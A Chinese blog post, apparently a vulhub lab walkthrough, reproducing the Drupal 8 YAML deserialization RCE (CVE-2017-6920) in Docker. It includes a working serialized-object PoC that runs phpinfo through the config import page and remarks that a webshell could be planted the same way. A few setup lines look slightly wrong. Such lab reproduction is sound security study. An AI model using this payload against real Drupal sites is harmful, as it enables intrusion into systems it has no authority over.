当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2017-6920环境
    • 2、启动CVE-2017-6920环境
    • 3、查看CVE-2017-6920环境
    • 4、安装yaml拓展
    • 5、访问CVE-2017-6920环境
    • 6、查看CVE-2017-6920漏洞提示信息
    • 7、关闭CVE-2017-6920环境
  • 五、漏洞复现
    • 1、访问漏洞点
    • 2、导入POC
    • 3、复现成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-6920

二、影响范围

Drupal < 8.3.4

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

四、环境搭建

1、进入CVE-2017-6920环境

cd vulhub/confluence/CVE-2017-6920

在这里插入图片描述

2、启动CVE-2017-6920环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2017-6920环境

docker-compose ps

在这里插入图片描述

4、安装yaml拓展

1.查看容器信息

docker ps

在这里插入图片描述

2.进入容器

docker exec -it 容器ID /bin/bash

在这里插入图片描述

3.换镜像源
默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源

cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF

在这里插入图片描述

4.安装依赖

apt update 

在这里插入图片描述

apt-get -y install gcc make autoconf libc-dev pkg-config 

在这里插入图片描述

apt-get -y install libyaml-dev

在这里插入图片描述

  1. 安装yaml扩展
pecl install yaml

在这里插入图片描述

pecl install yaml docker-php-ext-enable yaml.so 

在这里插入图片描述

6.启用 yaml.decode_php

echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini

在这里插入图片描述

7.退出容器

exit

在这里插入图片描述

8.重启容器

docker restart 容器ID

在这里插入图片描述

5、访问CVE-2017-6920环境

环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite

在这里插入图片描述

然后就会自动安装srupal

在这里插入图片描述

设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

更新配置中

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

6、查看CVE-2017-6920漏洞提示信息

cat README.md

在这里插入图片描述

7、关闭CVE-2017-6920环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、访问漏洞点

登录管理员账户,访问

http://your-ip:8080/admin/config/development/configuration/single/import

界面如下:

在这里插入图片描述

2、导入POC

如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:

!php/object"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在这里插入图片描述

点击导入,漏洞触发:

在这里插入图片描述

3、复现成功

回显出phpinfo信息

在这里插入图片描述

既然能执行命令,那我们也可以写入webshell

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

http://www.lryc.cn/news/10884.html

相关文章:

  • 如何将数据库结构导入到word
  • FreeRTOS内存管理 | FreeRTOS十五
  • 【数字电路】数字电路的学习核心
  • day45【代码随想录】动态规划之完全平方数、单词拆分、打家劫舍、打家劫舍 II
  • java程序,springboot程序 找不到主类,找不到符号解决思路
  • AntD-tree组件使用详析
  • spring的事务控制
  • 4.如何靠IT逆袭大学?
  • 提供网络可测试的接口【公共Webservice】
  • 【深入理解计算机系统】库打桩 - 阅读笔记
  • RocketMQ高性能原理分析
  • 前端面试当中CDN会问啥------CDN详细教程来啦
  • 刷题记录:牛客NC19429红球进黑洞 区间拆位异或+区间求和
  • 信息数智化招采系统源码——信息数智化招采系统
  • 20230217使AIO-3399J开发板上跑通Android11系统
  • Java 基础面试题——面向对象
  • PDF文件替换内容(电子签章),依赖免费pdfbox
  • nvm 控制 node版本
  • javaEE 初阶 — 传输层 TCP 协议中的异常情况与面向字节流的粘包问题
  • IP路由基础
  • 12.centos7部署sonarqube9.6
  • 大学四年自学Java编程,现在拿到28万年薪的offer,还是觉得挺值的
  • MySQL的日志详解
  • 输出该股票所有收盘比开盘上涨3%以上的日期
  • 数值卡,让数据可视化玩出新花样丨三叠云
  • 有这几个表现可能是认知障碍前兆
  • java面试题-阿里真题详解
  • JSON格式解析关键词搜索API
  • 【Java基础】泛型(二)-泛型的难点:通配符
  • 黑马】后台管理-两个括号的坑